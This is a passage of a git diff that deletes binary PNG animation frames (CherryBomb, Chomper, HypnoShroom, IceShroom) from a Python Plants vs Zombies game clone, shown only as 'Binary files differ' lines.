Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_2.png deleted file mode 100644 index 0706f249296..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_3.png deleted file mode 100644 index 485a336bfb8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_4.png deleted file mode 100644 index b8193e06e2c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_5.png deleted file mode 100644 index de76a6f6e3c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_6.png deleted file mode 100644 index c391161f97d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_0.png deleted file mode 100644 index 14a19a271b7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_1.png deleted file mode 100644 index bc33dfe593d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_10.png deleted file mode 100644 index 121ce998625..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_11.png deleted file mode 100644 index 0e03d7eb29e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_12.png deleted file mode 100644 index 91caa918b40..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_2.png deleted file mode 100644 index 654943fb395..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_3.png deleted file mode 100644 index e45066e6c52..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_4.png deleted file mode 100644 index 74424463ab2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_5.png deleted file mode 100644 index 58adb6ef28c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_6.png deleted file mode 100644 index c864d6576fd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_7.png deleted file mode 100644 index c4a732cfba0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_8.png deleted file mode 100644 index 6c22fadae15..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_9.png deleted file mode 100644 index 81c78b96eb7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/Chomper/Chomper_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_0.png deleted file mode 100644 index c0d8ac4f894..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_1.png deleted file mode 100644 index b4d5bbd6247..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_2.png deleted file mode 100644 index 088d5425c19..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_3.png deleted file mode 100644 index 1a4078125e5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_4.png deleted file mode 100644 index 136517d9256..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_5.png deleted file mode 100644 index 61b0debaa3b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_6.png deleted file mode 100644 index a18bf03db22..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_7.png deleted file mode 100644 index bf0afa74e00..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_8.png deleted file mode 100644 index efcb7ca7fb0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperAttack/ChomperAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_0.png deleted file mode 100644 index 988088adb02..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_1.png deleted file mode 100644 index 6e92ff0c42c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_2.png deleted file mode 100644 index 804bee6be39..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_3.png deleted file mode 100644 index 2c91e5ab402..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_4.png deleted file mode 100644 index 95b838ba1d3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_5.png deleted file mode 100644 index fb7ee7bb995..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Chomper/ChomperDigest/ChomperDigest_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_0.png deleted file mode 100644 index 0a79f9bd41e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_1.png deleted file mode 100644 index e5a9a14e03b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_10.png deleted file mode 100644 index a42062e7742..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_11.png deleted file mode 100644 index ac92a54a4fc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_12.png deleted file mode 100644 index 776cc9e9eb9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_13.png deleted file mode 100644 index a4b0064a440..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_14.png deleted file mode 100644 index c86f01242cc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_2.png deleted file mode 100644 index 15db637dc1c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_3.png deleted file mode 100644 index 4d1a2f744f5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_4.png deleted file mode 100644 index f42a16ba753..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_5.png deleted file mode 100644 index c267773c089..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_6.png deleted file mode 100644 index 2e668384bd5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_7.png deleted file mode 100644 index 50de883fbc0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_8.png deleted file mode 100644 index 9d0dae8ba27..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_9.png deleted file mode 100644 index a42062e7742..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroom/HypnoShroom_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_0.png deleted file mode 100644 index 1093170895c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_1.png deleted file mode 100644 index af4dbdc8b85..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_10.png deleted file mode 100644 index d54e2bd1882..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_11.png deleted file mode 100644 index 9d2809f3c16..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_12.png deleted file mode 100644 index cf87ac3129b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_2.png deleted file mode 100644 index 8ed7d4f8115..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_3.png deleted file mode 100644 index 3c8b3c78260..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_4.png deleted file mode 100644 index d7a883a7936..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_5.png deleted file mode 100644 index 465ae9b5567..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_6.png deleted file mode 100644 index dc46cbb0fe0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_7.png deleted file mode 100644 index e490c34fb7b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_8.png deleted file mode 100644 index ed304df2f3d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_9.png deleted file mode 100644 index 5ef4994af6f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/HypnoShroom/HypnoShroomSleep/HypnoShroomSleep_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_0.png deleted file mode 100644 index 1722a552e17..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_1.png deleted file mode 100644 index 2fc5009cf03..00000000000 Binary files a/Add Code 